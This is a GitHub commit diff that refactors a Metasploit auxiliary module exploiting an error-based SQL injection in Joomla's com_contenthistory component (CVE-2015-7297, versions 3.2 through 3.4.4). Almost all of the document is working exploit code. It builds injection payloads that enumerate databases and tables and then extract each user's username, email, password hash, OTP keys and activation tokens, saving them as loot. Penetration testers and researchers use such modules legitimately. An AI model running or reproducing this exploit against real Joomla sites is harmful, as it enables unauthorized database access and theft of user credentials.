Skip to content

Commit 4c40fbc

Browse files
committed
Merge pull request #1 from open-security/joomla_contenthistory
rebuild joomla_contenthistory_sqli (cve-2015-7297)
2 parents 949a4c7 + f738dd2 commit 4c40fbc

File tree

1 file changed

+140
-65
lines changed

1 file changed

+140
-65
lines changed

modules/auxiliary/gather/joomla_contenthistory_sqli.rb

Lines changed: 140 additions & 65 deletions
Original file line numberDiff line numberDiff line change
@@ -14,8 +14,9 @@ def initialize(info = {})
1414
super(update_info(info,
1515
'Name' => 'Joomla com_contenthistory Error-Based SQL Injection',
1616
'Description' => %q{
17-
This module exploits a SQL injection vulnerability in Joomla versions 3.2 through 3.4.4
18-
in order to either enumerate usernames and password hashes or session IDs.
17+
This module exploits a SQL injection vulnerability in Joomla versions 3.2
18+
through 3.4.4 in order to either enumerate usernames and password hashes
19+
or session IDs.
1920
},
2021
'References' =>
2122
[
@@ -24,109 +25,183 @@ def initialize(info = {})
2425
],
2526
'Author' =>
2627
[
27-
'Asaf Orpani', #discovery
28-
'bperry' #metasploit module
28+
'Asaf Orpani', # discovery
29+
'bperry', # metasploit module
30+
'Nixawk' # module review
2931
],
3032
'License' => MSF_LICENSE,
31-
'DisclosureDate' => "Oct 22 2015"
33+
'DisclosureDate' => 'Oct 22 2015'
3234
))
3335

3436
register_options(
3537
[
36-
OptString.new("TARGETURI", [true, 'The relative URI of the Joomla instance', '/'])
38+
OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/'])
3739
], self.class)
3840
end
3941

4042
def check
4143
flag = Rex::Text.rand_text_alpha(8)
42-
left_marker = Rex::Text.rand_text_alpha(5)
43-
right_marker = Rex::Text.rand_text_alpha(5)
44+
lmark = Rex::Text.rand_text_alpha(5)
45+
rmark = Rex::Text.rand_text_alpha(5)
4446

45-
payload = "AND (SELECT 8146 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT 0x#{flag.unpack("H*")[0]}),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
47+
payload = 'AND (SELECT 8146 FROM(SELECT COUNT(*),CONCAT('
48+
payload << "0x#{lmark.unpack('H*')[0]},"
49+
payload << "(SELECT 0x#{flag.unpack('H*')[0]}),"
50+
payload << "0x#{rmark.unpack('H*')[0]},"
51+
payload << 'FLOOR(RAND(0)*2)'
52+
payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'
4653

4754
res = sqli(payload)
4855

49-
if res and res.body =~ /#{left_marker}#{flag}#{right_marker}/
50-
return Msf::Exploit::CheckCode::Vulnerable
56+
if res && res.code == 500 && res.body =~ /#{lmark}#{flag}#{rmark}/
57+
Msf::Exploit::CheckCode::Vulnerable
58+
else
59+
Msf::Exploit::CheckCode::Safe
5160
end
5261

53-
return Msf::Exploit::CheckCode::Safe
5462
end
5563

56-
def run
57-
left_marker = Rex::Text.rand_text_alpha(5)
58-
right_marker = Rex::Text.rand_text_alpha(5)
64+
def request(query)
65+
query = "#{$payload}" % query
66+
res = sqli(query)
5967

60-
db_count = "AND (SELECT 6062 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
61-
res = sqli(db_count)
62-
db_count = $1.to_i || 0 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/
68+
# Error based SQL Injection
69+
if res && res.code == 500 && res.body =~ /#{$lmark}(.*)#{$rmark}/
70+
$1
71+
end
72+
end
6373

74+
def query_databases
6475
dbs = []
65-
0.upto(db_count-1) do |i|
66-
db = "AND (SELECT 2255 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT #{i},1),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
67-
res = sqli(db)
68-
dbs << $1 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/
76+
77+
query = '(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) '
78+
query << 'FROM INFORMATION_SCHEMA.SCHEMATA)'
79+
80+
dbc = request(query)
81+
82+
query_fmt = '(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) '
83+
query_fmt << 'FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1)'
84+
85+
0.upto(dbc.to_i - 1) do |i|
86+
dbname = request(query_fmt % i)
87+
dbs << dbname
88+
vprint_good(dbname)
6989
end
7090

71-
dbs.delete('performance_schema')
72-
dbs.delete('information_schema')
73-
dbs.delete('mysql')
91+
%w(performance_schema information_schema mysql).each do |dbname|
92+
dbs.delete(dbname) if dbs.include?(dbname)
93+
end
94+
dbs
95+
end
7496

75-
users = []
76-
dbs.each do |db|
77-
vprint_status("Found database: " + db)
78-
tables = []
79-
table_count = "AND (SELECT 8640 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x#{db.unpack("H*")[0]})),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
80-
res = sqli(table_count)
81-
table_count = $1.to_i || 0 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/
82-
83-
0.upto(table_count-1) do |i|
84-
table = "AND (SELECT 2474 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x#{db.unpack("H*")[0]}) LIMIT #{i},1),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
85-
res = sqli(table)
86-
table = $1 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/
87-
tables << table if table =~ /_users$/
88-
end
97+
def query_tables(database)
98+
tbs = []
8999

90-
tables.each do |table|
91-
vprint_status("Found table: " + table)
92-
user_count = "AND (SELECT 3737 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{db}.#{table}),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
93-
res = sqli(user_count)
94-
user_count = $1.to_i if res and res.body =~ /#{left_marker}(.*)#{right_marker}/
95-
cols = ["activation","block","email","id","lastResetTime","lastvisitDate","name","otep","otpKey","params","password","registerDate","requireReset","resetCount","sendEmail","username"]
96-
97-
0.upto(user_count-1) do |i|
98-
user = {}
99-
cols.each do |col|
100-
k = 1
101-
val = nil
102-
user[col] = ''
103-
while val != ''
104-
get_col = "AND (SELECT 7072 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT MID((IFNULL(CAST(#{col} AS CHAR),0x20)),#{k},54) FROM #{db}.#{table} ORDER BY id LIMIT #{i},1),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
105-
res = sqli(get_col)
106-
val = $1 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/
107-
user[col] << val
108-
k = k + 54
109-
end
110-
end
111-
users << user
100+
query = '(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) '
101+
query << 'FROM INFORMATION_SCHEMA.TABLES '
102+
query << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}))"
103+
104+
tbc = request(query)
105+
106+
query_fmt = '(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) '
107+
query_fmt << 'FROM INFORMATION_SCHEMA.TABLES '
108+
query_fmt << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}) "
109+
query_fmt << 'LIMIT %d,1)'
110+
111+
vprint_status('tables in database: %s' % database)
112+
0.upto(tbc.to_i - 1) do |i|
113+
tbname = request(query_fmt % i)
114+
vprint_good(tbname)
115+
tbs << tbname if tbname =~ /_users$/
116+
end
117+
tbs
118+
end
119+
120+
def query_columns(database, table)
121+
cols = []
122+
query = "(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{database}.#{table})"
123+
124+
colc = request(query)
125+
vprint_status(colc)
126+
127+
valid_cols = [ # joomla_users
128+
'activation',
129+
'block',
130+
'email',
131+
'id',
132+
'lastResetTime',
133+
'lastvisitDate',
134+
'name',
135+
'otep',
136+
'otpKey',
137+
'params',
138+
'password',
139+
'registerDate',
140+
'requireReset',
141+
'resetCount',
142+
'sendEmail',
143+
'username'
144+
]
145+
146+
query_fmt = '(SELECT MID((IFNULL(CAST(%s AS CHAR),0x20)),%d,54) '
147+
query_fmt << "FROM #{database}.#{table} ORDER BY id LIMIT %d,1)"
148+
149+
0.upto(colc.to_i - 1) do |i|
150+
record = {}
151+
valid_cols.each do |col|
152+
l = 1
153+
record[col] = ''
154+
loop do
155+
value = request(query_fmt % [col, l, i])
156+
break if value.blank?
157+
record[col] << value
158+
l += 54
112159
end
113160
end
161+
cols << record
162+
vprint_status(record.to_s)
114163
end
164+
cols
165+
end
115166

116-
path = store_loot('joomla.file', 'text/plain', datastore['RHOST'], users.to_json, 'joomla.users')
117-
print_good("Users saved to file: " + path)
167+
def run
168+
$lmark = Rex::Text.rand_text_alpha(5)
169+
$rmark = Rex::Text.rand_text_alpha(5)
170+
171+
$payload = 'AND (SELECT 6062 FROM(SELECT COUNT(*),CONCAT('
172+
$payload << "0x#{$lmark.unpack('H*')[0]},"
173+
$payload << '%s,'
174+
$payload << "0x#{$rmark.unpack('H*')[0]},"
175+
$payload << 'FLOOR(RAND(0)*2)'
176+
$payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'
177+
178+
dbs = query_databases
179+
dbs.each do |db|
180+
tables = query_tables(db)
181+
tables.each do |table|
182+
cols = query_columns(db, table)
183+
next if cols.blank?
184+
path = store_loot(
185+
'joomla.users',
186+
'text/plain',
187+
datastore['RHOST'],
188+
cols.to_json,
189+
'joomla.users')
190+
print_good('Saved file to: ' + path)
191+
end
192+
end
118193
end
119194

120195
def sqli(payload)
121-
return send_request_cgi({
196+
send_request_cgi({
122197
'uri' => normalize_uri(target_uri.path, 'index.php'),
123198
'vars_get' => {
124199
'option' => 'com_contenthistory',
125200
'view' => 'history',
126201
'list[ordering]' => '',
127202
'item_id' => 1,
128203
'type_id' => 1,
129-
'list[select]' => "1 " + payload
204+
'list[select]' => '1 ' + payload
130205
}
131206
})
132207
end

0 commit comments

Comments
 (0)